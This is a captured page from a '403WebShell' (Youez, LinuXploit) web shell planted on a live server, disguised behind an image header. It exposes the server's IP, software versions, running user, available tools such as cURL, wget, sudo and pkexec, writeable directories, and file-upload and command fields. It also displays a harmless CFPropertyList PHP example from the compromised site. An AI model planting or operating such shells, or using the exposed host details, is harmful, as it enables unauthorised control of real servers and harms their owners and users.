????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.217.114
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/evacuationplans.astacus.se/login/plist/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/evacuationplans.astacus.se/login/plist/examples/example-read-01.php
<?php
/**
 * Examples for how to use CFPropertyList
 * Read an XML PropertyList
 * @package plist
 * @subpackage plist.examples
 */

// just in case...
error_reporting( E_ALL );
ini_set( 'display_errors', 'on' );

/**
 * Require CFPropertyList
 */
require_once(dirname(__FILE__).'/../CFPropertyList.php');


function search_nested_arrays($array, $key){
    if(is_object($array))
        $array = (array)$array;
    
    // search for the key
    $result = array();
    foreach ($array as $k => $value) { 
        if(is_array($value) || is_object($value)){
            $r = search_nested_arrays($value, $key);
            if(!is_null($r))
                array_push($result,$r);
        }
    }
    
    if(array_key_exists($key, $array))
        array_push($result,$array[$key]);
    
    
    if(count($result) > 0){
        // resolve nested arrays
        $result_plain = array();
        foreach ($result as $k => $value) { 
            if(is_array($value))
                $result_plain = array_merge($result_plain,$value);
            else
                array_push($result_plain,$value);
        }
        return $result_plain;
    }
    return NULL;
}

/*
 * create a new CFPropertyList instance which loads the sample.plist on construct.
 * since we know it's an XML file, we can skip format-determination
 */
$plist = new CFPropertyList( dirname(__FILE__).'/Ex.plist', CFPropertyList::FORMAT_XML );

/*
 * retrieve the array structure of sample.plist and dump to stdout
 */
$arr = $plist->toArray();

$arr = search_nested_arrays($arr,"Symbols");
echo("<pre>");
 foreach ($arr as $k ) { 
 
 if($k['General Info']['SpeakerType'] != ""){
	 echo($k['General Info']['SpeakerType']);
  }else{
		print_r($k['Measurement Info']);
		}
 
 echo("##########");
 }
 
echo("</pre>");


?>

Youez - 2016 - github.com/yon3zu
LinuXploit